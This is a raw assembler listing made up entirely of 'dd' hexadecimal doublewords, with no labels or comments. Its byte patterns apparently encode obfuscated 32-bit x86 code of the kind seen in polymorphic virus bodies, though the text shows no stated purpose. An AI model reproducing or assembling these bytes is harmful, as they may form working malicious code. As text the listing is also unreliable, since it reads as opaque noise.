		dd 61F1295h, 0F98BC08Bh, 0BA66C08Bh, 0BD8375E3h, 61F06C1h
		dd 83097500h, 1F1F51BDh, 13740006h, 0C08B5350h,	0B8h, 469D8D00h
		dd 0FF0621AEh, 83585BD3h, 1F1F51BDh, 11740006h,	0B85350h
		dd 8D000000h, 21ACF79Dh, 5BD3FF06h, 0C59D8958h,	0F061F32h
		dd 686h, 5958900h, 8B061F2Ch, 8D9D29C0h, 0FC061F15h, 0CA8BC08Bh
		dd 6C1BD83h, 7500061Fh,	51BD8309h, 61F1Fh, 53501374h, 0B8C08Bh
		dd 8D000000h, 21AD789Dh, 5BD3FF06h, 51BD8358h, 61F1Fh
		dd 53501174h, 0B8h, 0C59D8D00h,	0FF0621ACh, 0F585BD3h
		dd 42BAC9B7h, 8B1D2F72h, 0CE8C0h, 0CC840000h, 0D53D44BFh
		dd 52E271CFh, 0CE8B7C7Dh, 52C08B59h, 0C1BD835Fh, 61F06h
		dd 0BD830975h, 61F1F51h, 50137400h, 0B8C08B53h,	0
		dd 0ADDF9D8Dh, 0D3FF0621h, 0BD83585Bh, 61F1F51h, 50117400h
		dd 0B853h, 9D8D0000h, 621ACDEh,	585BD3FFh, 0AA59533h, 0D58A061Fh
		dd 12E9C08Bh, 29000000h, 3D6C60CDh, 0D863ACCDh,	0E88350E0h
		dd 87A1A9E6h, 6AC08BF9h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 15042444h, 42000000h, 1623C352h, 0C1BD83F9h
		dd 61F06h, 0BD830975h, 61F1F51h, 50137400h, 0B8C08B53h
		dd 0
		dd 0AD119D8Dh, 0D3FF0621h, 0BD8B585Bh, 61F0BB1h, 0AE856h
		dd 0BC4C0000h, 0F9B2446Eh, 0D6CA0A14h, 0DD9958Bh, 5A5A061Fh
		dd 7ABAC08Bh, 0B9786768h, 7535F57Eh, 0FE8C08Bh,	27000000h
		dd 0E9FE33CFh, 0A5365842h, 153D0438h, 8D89CE95h, 61F0035h
		dd 0C1BD835Ah, 61F06h, 0BD830975h, 61F1F51h, 50197400h
		dd 0B8C08B53h, 7D0h, 0F658589h,	9D8D061Fh, 621AFA4h, 585BD3FFh
		dd 1F51BD83h, 7400061Fh, 0B8535017h, 7D0h, 0F658589h, 9D8D061Fh
		dd 621AC93h, 585BD3FFh,	0DE8F5h, 37B30000h, 36965EC8h
		dd 804E94DBh, 8BB16393h, 1F23318Dh, 0C08B5906h,	0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 92C35747h, 0C6C0A4A7h
		dd 1F202585h, 6A5306h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1A0424h, 56460000h, 69CE2EC3h, 158A6860h, 0E9FE8B66h
		dd 13h,	0B88F354Bh, 0FE5F70E0h,	0FA92707Dh, 7692347Ch
		dd 68DF91E7h, 99395F90h, 0E850006Ah, 3,	58C35820h, 4244489h
		dd 4244481h, 18h, 39C35040h, 3837A3CAh,	5E8h, 0C0802500h
		dd 0ACBA02BCh, 597E7138h, 20D9B5FFh, 0B589061Fh, 61F30E5h
		dd 394D858Dh, 8D8B061Fh, 61F1561h, 6AD0FFh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 150424h, 52420000h, 89D847C3h
		dd 1F2D5985h, 0D8D0B06h, 0F8061F00h, 202585C6h,	8B57061Fh
		dd 1F134D95h, 2D8D8906h, 68061F06h, 90045206h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 0C2C35343h, 2C399589h
		dd 0B5FF061Fh, 61F20D9h, 31718D09h, 858D061Fh, 61F394Dh
		dd 8018CDB9h, 0B6D0FF26h, 0ED8589C7h, 6A061F1Ch, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h
		dd 0C603C356h, 1F202585h, 95894306h, 61F319Dh, 90702868h
		dd 8E8BCh, 0D1110000h, 5078206Ah, 810F04CBh, 3,	59D2B70Fh
		dd 2E90D981h, 0B5FF49BDh, 61F20D9h, 0E853006Ah,	3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ch, 84C35343h, 6437EF17h, 0B12CFC39h
		dd 394D858Dh, 6A061Fh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 170424h, 57470000h, 7E4930C3h, 3D958951h, 0FF061F30h
		dd 0C981D0h, 89213995h,	1F2B0D85h, 0D5BD8B06h, 0C6061F2Ch
		dd 1F202585h, 68F54C06h, 0D9DA1CE9h, 31799D09h,	0B5FF061Fh
		dd 61F20D9h, 65858B60h,	8B061F1Ch, 1F2D3D85h, 858D6106h
		dd 61F394Dh, 22DBD89h, 7DBA061Fh, 0FF689D71h, 56006AD0h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1404h, 0C3564600h
		dd 0B18589D0h, 0E9061F2Dh, 11h,	0BD5911Dh, 502B961Dh, 0A0A11824h
		dd 0F8C3F95Bh, 2585C6CFh, 46061F20h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ch, 0B4C35545h,	0FF93BCBFh, 849B6E3Dh
		dd 8B65E580h, 1F1F558Dh, 6146806h, 8529BADEh, 61F30C5h
		dd 20D9B5FFh, 8166061Fh, 8D37FCE2h, 1F394D85h, 13E906h
		dd 39BD0000h, 0D496FC7Bh, 772EE9B2h, 3D23E642h,	0F3D89CAAh
		dd 9D0FFDCh, 1F2E2595h,	15858906h, 53061F16h, 0EE9h, 0B39FAC00h
		dd 0BC12739Ch, 982CF574h, 5AACE78Bh, 202585C6h,	0F947061Fh
		dd 0FB5E268h, 0C75FBA8Ah, 0B5FF3082h, 61F20D9h,	0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 19h, 0A6C35242h, 22FD5E11h
		dd 1693B9B0h, 0A5BF2231h, 8D4539A7h, 1F394D85h,	0E1816606h
		dd 860F3BFCh, 6, 18B1B529h, 0D0FF061Fh,	0E558D8Bh, 8589061Fh
		dd 61F0A11h, 0C6CFBF0Fh, 1F202585h, 6A4706h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 170424h, 50400000h, 0B7547BC3h
		dd 0F368FC00h, 8983D0B5h, 1F00898Dh, 0D9B5FF06h, 9061F20h
		dd 1F057DB5h, 11E806h, 0A4BF0000h, 43025398h, 0CC61C74Ah
		dd 2AD9ECEAh, 0B6CDBC01h, 858D5FE0h, 61F394Dh, 0F1EF8166h
		dd 89D0FF0Eh, 1F30858Dh, 0E5858906h, 66061F06h,	85C6FB8Bh
		dd 61F2025h, 68CE8B77h,	0F397A8A3h, 0E853006Ah,	3, 5BC35B20h
		dd 4245C89h, 4244481h, 16h, 0DFC35343h,	958B6236h, 61F1BEDh
		dd 2C51B5FFh, 8B66061Fh, 4D858DFBh, 6A061F39h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 15042444h, 41000000h
		dd 5D5C351h, 0B0B5B0B2h, 8D31D0FFh, 61F2CF9h, 0A18589h
		dd 0BD8B061Fh, 61F2B25h, 202585C6h, 6047061Fh, 0E9C9B70Fh
		dd 13h,	0D9FD7FAAh, 3F373079h, 91BF3F0Bh, 0CFDF6987h, 61912E5Bh
		dd 28FAF668h, 55006A87h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1D04h, 0C3554500h, 63D5B97Ch, 76FF8613h, 5F577EEAh
		dd 20D9B5FFh, 8B66061Fh, 4D858DF8h, 6A061F39h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h
		dd 7117C356h, 13E95Ah, 0AEFE0000h, 0E7ADFA6Dh, 0A099BD6Eh
		dd 7A4D62E3h, 4068A6DEh, 66D0FF42h, 8589C88Bh, 61F1FF9h
		dd 6870Fh, 95310000h, 61F151Dh,	85C6D08Bh, 61F2025h, 56006A43h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1404h, 0C3564600h
		dd 0C5958B74h, 68061F0Eh, 0BC8E6EFCh, 110DBD01h, 0B5FF061Fh
		dd 61F20D9h, 120D8D8Bh,	858D061Fh, 61F394Dh, 58D8B52h
		dd 59061F1Bh, 958BD0FFh, 61F1701h, 30518589h, 46BF061Fh
		dd 2908C418h, 1F1C4DBDh, 2585C606h, 45061F20h, 9BD8589h
		dd 6968061Fh, 0E98E7269h, 0Fh, 72A08210h, 0BB5D9F36h, 0FC154AB9h
		dd 66AF4668h, 0C7CBE981h, 20D9B5FFh, 6A061Fh, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 18D50CC3h
		dd 5E4D9E88h, 8B8C22C1h, 1F165595h, 4D858D06h, 66061F39h
		dd 0D0FFFA8Bh, 23418589h, 8589061Fh, 61F0EE1h, 58E0Fh
		dd 81660000h, 0C685B9F1h, 1F202585h, 830F4406h,	6, 1C39B529h
		dd 6468061Fh, 66B8F2ECh, 8E9FE8Bh, 1B000000h, 4B2013E5h
		dd 0FF09BF67h, 1F20D9B5h, 5DD8006h, 394D858Dh, 830F061Fh
		dd 6, 2C45BD33h, 0D0FF061Fh, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Ah, 0A8C35242h,	6072F267h, 89F5869Bh
		dd 1F088185h, 0CA8A5606h, 2585C659h, 43061F20h,	7E9h, 5ECDE700h
		dd 2E71141h, 6820Fh, 0BD290000h, 61F2D35h, 764AA768h, 39BD09C0h
		dd 0FF061F10h, 1F20D9B5h, 0D1B50106h, 8D061F0Bh, 1F394D85h
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1804h
		dd 0C3524200h, 343D5D41h, 71958B1Dh, 0FF061F2Ah, 89F98BD0h
		dd 1F107585h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1904h, 0C3574700h, 7C9FCFE3h, 0B1B99F6Bh, 8B5FBE68h
		dd 1F0CF1BDh, 3EBD8006h, 62203h, 6A840Fh, 0D7810000h, 750C8DA3h
		dd 358D29h, 858D061Fh, 6220320h, 5C59589h, 6050061Fh, 77D18166h
		dd 858B60DCh, 61F2EC1h,	16A6161h, 6ACB8B66h, 0E1BD8B00h
		dd 6A061F1Eh, 99BD8B00h, 0FF061F20h, 1F2B0D95h,	89CF8B06h
		dd 1F23CD85h, 0D68B6606h, 0EC8AFF6Ah, 23CDB5FFh, 0B531061Fh
		dd 61F2F5Dh, 1CED95FFh
		dd 8D0B061Fh, 61F163Dh,	0BF66C08Bh, 0BD834301h,	61F06C1h
		dd 83097500h, 1F1F51BDh, 19740006h, 0C08B5350h,	7D1B8h
		dd 65858900h, 8D061F0Fh, 21AFA49Dh, 5BD3FF06h, 51BD8358h
		dd 61F1Fh, 53501774h, 7D1B8h, 65858900h, 8D061F0Fh, 21AC939Dh
		dd 5BD3FF06h, 55006A58h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1A04h, 0C3554500h, 0E0A8358Ah, 0E92E0A40h, 0Ch, 61AB0701h
		dd 0D0F86E08h, 2A115ABAh, 6AC88B66h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 16042444h, 43000000h, 76C4C353h
		dd 0D68B6611h, 9E9h, 88E6700h, 0B020B215h, 0C08B1AA6h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 17h, 67C35141h
		dd 0E9A75DF3h, 11h, 0E3F30DB4h,	0A94F9B87h, 0A85B4148h
		dd 0D9DC8896h, 8D9D89FAh, 0C6061F1Bh, 1F202585h, 0BA664706h
		dd 0C168F0F6h, 6A93C8F7h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 17042444h, 43000000h, 0A7ABC353h,	0C88A48E7h
		dd 20D9B5FFh, 0E781061Fh, 3B158364h, 394D858Dh,	6A061Fh
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h
		dd 6C799C3h, 0E64D16F5h, 0BD8B11A4h, 61F2A51h, 0EE8D0FFh
		dd 53000000h, 0ED90F2CDh, 319D0ADh, 32EF2C12h, 1DBD8934h
		dd 5A061F02h, 53006A50h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1B04h, 0C3534300h, 0B3D917DEh, 5D6D2316h, 0AE9h, 390EA400h
		dd 0B7907C76h, 894A4A6Ch, 1F1655B5h, 61858D06h,	6A062207h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 19042444h
		dd 47000000h, 9218C357h, 0E19ED492h, 9400C7h, 81660000h
		dd 582BD3D7h, 0E851006Ah, 3, 59C35920h,	4244C89h, 4244481h
		dd 14h,	0D2C35141h, 14ADBD01h, 8E0F061Fh, 0
		dd 761B58Dh, 6A0622h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 180424h, 56460000h, 10620CC3h, 5760AD8Ah, 1CE9B589h
		dd 6158061Fh, 29950356h, 0FF061F00h, 53006AD0h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1604h,	0C3534300h, 8DC7CA25h
		dd 22076185h, 7637B906h, 78830EECh, 850F0604h, 19h, 2E758D8Bh
		dd 8D8B061Fh, 61F2A91h,	7F585C7h, 10622h, 0BF0F0000h, 75BD83C8h
		dd 61F0Dh, 71850Fh, 0FE90000h, 0F5000000h, 0A6451232h
		dd 6198F245h, 0C2E6C3BFh, 0BD83F28Dh, 62207F5h,	50850F00h
		dd 66000000h, 2CA6D781h, 10DDBD83h, 0F00061Fh, 3E84h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1A04h, 0C3504000h
		dd 0A6545CDFh, 23C6AB36h, 1F2E098Dh, 0D985C706h, 61F18h
		dd 0F000000h, 68Bh, 0D9B58900h,	66061F08h, 0F18ADB8Ch
		dd 0F04C3F6h, 57B84h, 0C5BD8B00h, 0C7061F32h, 1F0EF585h
		dd 6, 21BD8B00h, 80061F1Dh, 22034BBDh, 850F0006h, 6, 0F0D958Bh
		dd 85C6061Fh, 61F2025h,	38DA8147h, 6843B415h, 0E3E45B86h
		dd 18C18D8Bh, 0B5FF061Fh, 61F20D9h, 11F5BD09h, 858D061Fh
		dd 61F394Dh, 12E9h, 185B1100h, 83DA0F1Eh, 94B9DD3Ah, 252D904h
		dd 0FFA2DA8Ch, 3D8D2BD0h, 0BF061F03h, 6CA934B8h, 10468h
		dd 98D0F00h, 0F000000h,	381h, 0D7BF0F00h, 17659D8Dh, 8589061Fh
		dd 61F07A9h, 50006A53h,	3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1C04h, 0C3504000h, 0A9A6D195h, 5ED61E61h, 860F54h, 0E9000000h
		dd 14h,	0ACE145DFh, 73291B37h, 0B02FC089h, 1660179Fh, 0C7A05DC2h
		dd 99B6D0FFh, 1765858Dh, 8166061Fh, 50DE04D7h, 0C558589h
		dd 7DBA061Fh, 8D4726B9h, 2202FD85h, 58A0F06h, 0B9000000h
		dd 1E9FD8BDh, 799D2950h, 8D061F26h, 21F9D085h, 0FEBF0F06h
		dd 0E1B52950h, 0FF061F00h, 1F00A195h, 0C483FC06h, 0A9BD230Ch
		dd 6A061F07h, 806800h, 36A0000h, 6A006Ah, 68h, 0D0858D80h
		dd 500621F9h, 305195FFh, 8589061Fh, 62202E0h, 202585C6h
		dd 6847061Fh, 0C7B15E87h, 20D9B5FFh, 858D061Fh,	61F394Dh
		dd 6AD0FFh, 2E0B5FFh, 0D0FF0622h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 15h, 0C7C35646h,	48F0FD4h, 66000000h
		dd 0BA4556B9h, 14920AD6h, 37D03Dh, 3B830F00h, 3000000h
		dd 1F24B18Dh, 0E0B5FF06h, 8B062202h, 1F05D195h,	0BE806h
		dd 77F00000h, 3A957964h, 547C9AFFh, 0FF5AF906h,	1F107595h
		dd 0D5B52906h, 0E9061F2Ch, 0E0h, 2359B529h, 0B5FF061Fh
		dd 62202E0h, 881422BAh,	7595FF17h, 89061F10h, 1F0D5585h
		dd 56006A06h, 2E35952Bh, 6A5A061Fh, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1A04h,	0C3574700h, 16D6C6B0h
		dd 6AC2F928h, 68F0F00h,	8B000000h, 1F2BDDBDh, 0E9006A06h
		dd 11h,	0C007E045h, 568A8BBDh, 0C9474053h, 2F4A9B64h, 66006A1Ah
		dd 6ACF8Bh, 0E856006Ah,	3, 5EC35E20h, 4247489h,	4244481h
		dd 18h,	6BC35646h, 5BB67977h, 14ADBD0Bh, 9D89061Fh, 61F2E55h
		dd 2E4858Dh, 0D18B0622h, 5195FF50h, 6A061F30h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 15042444h, 42000000h
		dd 0BD2AC352h, 95958Bh,	0F883061Fh, 4E850FFFh, 0FC000001h
		dd 0BA5A858Dh, 6A0621h,	3E856h,	5E200000h, 74895EC3h, 44810424h
		dd 1B0424h, 56460000h, 0BBE1DAC3h, 0FDF02C2Dh, 699D8914h
		dd 0FF061F1Bh, 75BA66D0h, 8B006A89h, 6A006AF9h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 15042444h, 40000000h
		dd 0B690C350h, 2D95B589h, 6A061Fh, 6AFA8B66h, 0E59D0900h
		dd 6A061F09h, 5880F00h,	66000000h, 0D836D781h, 6A006Ah
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h
		dd 0F552CCC3h, 2E4858Dh, 0FE90622h, 0A0000000h,	0DC86DEDAh
		dd 91A8CCFFh, 0CCFB333Ah, 81507C64h, 72171FCFh,	5195FF5Eh
		dd 0E9061F30h, 0Fh, 5E6F3F3Bh, 70E8AF3h, 0C013852Eh, 836D3FC9h
		dd 850FFFF8h, 71h, 1C318D8Bh, 0B58D061Fh, 621FCECh, 858DF98Bh
		dd 621A8EBh, 310DBD8Bh,	0D0FF061Fh, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 18h, 61C35040h, 0C41DC173h, 6A006Ah
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h
		dd 953198C3h, 61F1A81h,	10C1958Bh, 95FF061Fh, 61F0EE1h
		dd 82D5DFBAh, 0E0858969h, 60062202h, 2F89B589h,	12E9061Fh
		dd 0CF000000h, 0ED93CA09h, 0F5EB04BEh, 0B66A1759h, 0A8E2B756h
		dd 6A61D7h, 28D78153h, 595C46F9h, 0BF3FBA66h, 2D8858Dh
		dd 0BD8B0622h, 61F1191h, 99958950h, 6A061F1Bh, 56006A04h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1C04h, 0C3564600h
		dd 0C6C8CF36h, 408E2FBEh, 858DF8E8h, 61F1BB5h, 1405BD89h
		dd 6A50061Fh, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 17042444h, 42000000h, 5AD7C352h, 6AEB4Ch, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 14h, 25C35040h, 6AE88Ah
		dd 0D95692BFh, 0E9016A30h, 12h,	1EC18223h, 966262B6h, 0D26A1B22h
		dd 5C9BA663h, 0B5FF7030h, 62202E0h, 0E851006Ah,	3, 59C35920h
		dd 4244C89h, 4244481h, 1Dh, 42C35141h, 0E9C2EA82h, 451E2E1Eh
		dd 5E9BAh, 6F750000h, 664D4734h, 0FFC07ABAh, 1F088195h
		dd 198D8B06h, 0E9061F2Fh, 1C8Fh, 0DE8h,	16BB1400h, 4A2D81FBh
		dd 48E5EE81h, 11E8FDADh, 0A1000000h, 44B574FCh,	0F52D3A73h
		dd 486D64EBh, 18725AA5h, 5F5A5A53h, 0EE8h, 0A045BC00h
		dd 8AA2361Fh, 10EB21C7h, 573B6E9Dh, 65BCE981h, 595F58B5h
		dd 6AC08Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h
		dd 56460000h, 0E290CC3h, 0E6104E24h, 850FC1h, 83000000h
		dd 1F06C1BDh, 9750006h,	1F51BD83h, 7400061Fh, 8B535019h
		dd 7D2B8C0h, 85890000h,	61F0F65h, 0AFA49D8Dh, 0D3FF0621h
		dd 0BD83585Bh, 61F1F51h, 50177400h, 7D2B853h, 85890000h
		dd 61F0F65h, 0AC939D8Dh, 0D3FF0621h, 0B966585Bh, 6A51E2h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h
		dd 0BB9530C3h, 703EAE31h, 8A0F60EDh, 5,	36229CBFh, 7D950126h
		dd 61061F05h, 860FC08Bh, 6, 1A558D29h, 85C7061Fh, 61F0EF5h
		dd 1, 0E855006Ah, 3, 5DC35D20h,	4246C89h, 4244481h, 19h
		dd 7DC35545h, 0BBDFB591h, 0ADB50933h, 0E8061F0Bh, 11h
		dd 527F1994h, 81FE9B38h, 5C72D65Ah, 3876DD79h, 8E9FFh
		dd 392E0000h, 0E2F80056h, 685F2C53h, 0CEE4E7B8h, 1BE5B5FFh
		dd 858D061Fh, 61F394Dh,	8589D0FFh, 61F0B6Dh, 5DBD468h
		dd 0E5B5FFC0h, 8D061F1Bh, 1F394D85h, 89D0FF06h,	1F312585h
		dd 89858D06h, 500621F7h, 20D9B5FFh, 95FF061Fh, 61F0A11h
		dd 0B74C00Bh, 858DD88Bh, 622073Ch, 8DD3FF50h, 22073C85h
		dd 38836606h, 0C70A7509h
		dd 1F32C185h, 106h, 0F995FF00h,	25061F1Fh, 0FFh, 7305F883h
		dd 0E185C70Ah, 1061F0Dh, 6A000000h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1D042444h, 40000000h, 0F90AC350h
		dd 0E7196CFCh, 5346D49Ah, 0B966D78Bh, 0BD808E83h, 622034Bh
		dd 34850F00h, 6A000000h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1A042444h, 40000000h, 0E2CAC350h,	0B1289EFDh
		dd 8589F8CEh, 61F056Dh,	1A4AE9h, 29B50100h, 83061F00h
		dd 1F32C1BDh, 850F0006h, 10Bh, 0D958Bh,	858D061Fh, 6220315h
		dd 8E8h, 35EFC500h, 0DC0ABEFBh,	12E943h, 0A2370000h, 9C39C401h
		dd 0F25B83F1h, 550DAEDEh, 41FD374Eh, 6A505Ah, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 140424h, 55450000h, 6AF8A5C3h
		dd 99B58901h, 0E9061F2Ch, 13h, 0AED6EEA0h, 47B232D5h, 93CCB86Bh
		dd 0BC8FF90Fh, 6A980DC3h, 80C78100h, 6A5FEDA1h,	58C0F00h
		dd 66000000h, 0B1FFE181h, 2B0D95FFh, 8B60061Fh,	0F7B866CAh
		dd 858961E8h, 622033Fh,	6ACABF0Fh, 57006AFFh, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1A04h,	0C3574700h, 5C6AC584h
		dd 80A19171h, 958BE9F2h, 61F2B85h, 33FB5FFh, 6A0622h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 140424h, 50400000h
		dd 0CE871C3h, 0F1000000h, 31BC2554h, 6212D169h,	663FC3E6h
		dd 1185D981h, 0ED95FF5Fh, 66061F1Ch, 8DB40EBAh,	21F75085h
		dd 8E906h, 43FA0000h, 6E1DD302h, 0F5050BBh, 158Fh, 10E900h
		dd 79F50000h, 7B73B324h, 0A1A0A75Eh, 61527ED8h,	95FFFC71h
		dd 61F2DB1h, 12E8h, 0A0E64100h,	1106ABF6h, 936DF13Eh, 28C9033Eh
		dd 8B04A732h, 0B5295FD3h, 61F2CDDh, 0F7DA8589h,	0B5090621h
		dd 61F0779h, 5D858DFCh,	8B0621F7h, 6A50CEh, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1D0424h, 53430000h, 0B67977C3h
		dd 0D7A6275Bh, 0E8E3F8E7h, 13h,	4E9AE16Bh, 638A266Eh, 0AB359F5Eh
		dd 11682DBFh, 66EC5948h, 0FF5ACB8Bh, 21F7DAB5h,	39E58006h
		dd 2385958Bh, 95FF061Fh, 61F0A11h, 601BD0Bh, 8589061Fh
		dd 61F09DDh, 8DCEBF0Fh,	21F7CB85h, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1D04h,	0C3574700h, 262B8CC9h
		dd 0ABEF1BADh, 50F860C9h, 1AE1BD8Bh, 0B5FF061Fh, 621F7DAh
		dd 6E8h, 83306500h, 1B77008h, 1F0241B5h, 95FF5906h, 61F0A11h
		dd 1A3D9D89h, 8589061Fh, 621F7EEh, 2FDBD8Bh, 858D061Fh
		dd 621F7AAh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Ch,	0FFC35646h, 43D59978h, 0A5505247h, 858950F8h, 61F2BB1h
		dd 0BE9h, 0F3497F00h, 45B5DFFh,	0A051A936h, 0F7DAB5FFh
		dd 0B5890621h, 61F13E5h, 0A1195FFh, 8B66061Fh, 0AD8589D7h
		dd 89061F24h, 21F7E685h, 6E906h, 0D8CD0000h, 273E4F9Ah
		dd 0F79D858Dh, 0D78B0621h, 55006A50h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1904h,	0C3554500h, 2F6A767Fh
		dd 80571FBAh, 0FF5F50F5h, 21F7DAB5h, 1195FF06h,	0BA061F0Ah
		dd 6F7A6260h, 0F7EA8589h, 81660621h, 8DAFB2F2h,	21F7B885h
		dd 50CB8A06h, 0E853006Ah, 3, 5BC35B20h,	4245C89h, 4244481h
		dd 14h,	7C35343h, 68D0Fh, 95890000h, 61F1D01h, 83D952Bh
		dd 0B5FF061Fh, 621F7DAh, 1F298501h, 95FF061Fh, 61F0A11h
		dd 6830Fh, 95890000h, 61F0D99h,	2C418589h, 6A061Fh, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h
		dd 0B12AE9C3h, 39A23F58h, 7E9h,	979B6F00h, 4BAFCA1Dh, 0F76C858Dh
		dd 8A0F0621h, 0
		dd 68C0Fh, 95890000h, 61F1709h,	0CEBF0F50h, 0F7DAB5FFh
		dd 6A0621h, 3E850h, 58200000h, 448958C3h, 44810424h, 160424h
		dd 50400000h, 0A72B5BC3h, 0A1195FFh, 6A061Fh, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 160424h, 53430000h, 0DD9BADC3h
		dd 7AD98166h, 0DE85894Fh, 6A0621F7h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 15042444h, 42000000h, 8AB4C352h
		dd 52F8B70Fh, 0C3F18166h, 858D5A22h, 621F77Bh, 7EF1B950h
		dd 0B5FF5CC6h, 621F7DAh, 9CEA8166h, 1195FF7Ch, 8B061F0Ah
		dd 1F0A15BDh, 0E2858906h, 0F0621F7h, 684h, 0C1BD8900h
		dd 68061F2Ch, 104h, 5858D89h, 858D061Fh, 621F872h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 79C35343h, 0BE850h
		dd 624E0000h, 74D8878Ah, 28F364A1h, 0D4D781CCh,	592FE171h
		dd 0F976858Dh, 8D890621h, 61F0789h, 5E950h, 8C620000h
		dd 29505EBAh, 1F31159Dh, 0E595FF06h, 6A061F06h,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h
		dd 9D97C356h, 0BD0C2D9Bh, 6840F60h, 89000000h, 1F0FC1BDh
		dd 8E906h, 1B340000h, 75E06334h, 6661AFFFh, 7F00EA81h
		dd 850FC085h, 2, 0BD80D38Bh, 622034Bh, 11850F00h, 89000000h
		dd 1F2741BDh, 1521E906h, 9D090000h, 61F1EA1h, 32C1BD83h
		dd 0F00061Fh, 1B85h, 0F59D8900h, 83061F0Ah, 2207F5BDh
		dd 840F0006h, 53h, 46F28166h, 59F852B1h, 0F80F858Dh, 0BD8B0621h
		dd 61F2D71h, 14E2E9h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1B04h, 0C3564600h, 0F4747D1Ah, 9B046E7Ch
		dd 1D9D9589h, 800F061Fh, 0
		dd 38E9h, 0A9958B00h, 8D061F0Fh, 21F7FA85h, 52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1704h, 0C3524200h
		dd 150DEEB9h, 0CF8185B5h, 75F274F5h, 82E78166h,	8DF55017h
		dd 21F87285h, 115EB906h, 0F5005EDh, 3360CABFh, 1F2FE985h
		dd 0A5BD8B06h, 61061F2Ch, 32C1BD83h, 0F00061Fh,	4884h
		dd 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1404h
		dd 0C3534300h, 98858D1Ch, 290621F9h, 1F158185h,	9E806h
		dd 71E80000h, 4F25F9A5h, 0F1F0093h, 68Ch, 0C59D0900h, 5F061F23h
		dd 26E9h, 81858D00h, 6A0621F9h,	3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 16042444h, 47000000h, 4328C357h, 50D18B68h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 6BC35545h
		dd 0CEE1D7D0h, 820F3Ah,	0F000000h, 1F86h, 13E800h, 0F7EB0000h
		dd 9772F3C6h, 0C607366Ah, 6A77C683h, 0D1091416h, 860F32h
		dd 59000000h, 0F9D0858Dh, 0F520621h, 505FD3BFh,	0A99BD31h
		dd 0BD89061Fh, 61F2B09h, 0A195FFh, 8A0F061Fh, 0Eh, 0BDBD2960h
		dd 23061F20h, 1F2AD595h, 0C4836106h, 6EA8110h, 8B478189h
		dd 8D9D89C0h, 83061F1Fh, 1F06C1BDh, 9750006h, 1F51BD83h
		dd 7400061Fh, 8B535019h, 7D3B8C0h, 85890000h, 61F0F65h
		dd 0AFA49D8Dh, 0D3FF0621h, 0BD83585Bh, 61F1F51h, 50177400h
		dd 7D3B853h, 85890000h,	61F0F65h, 0AC939D8Dh, 0D3FF0621h
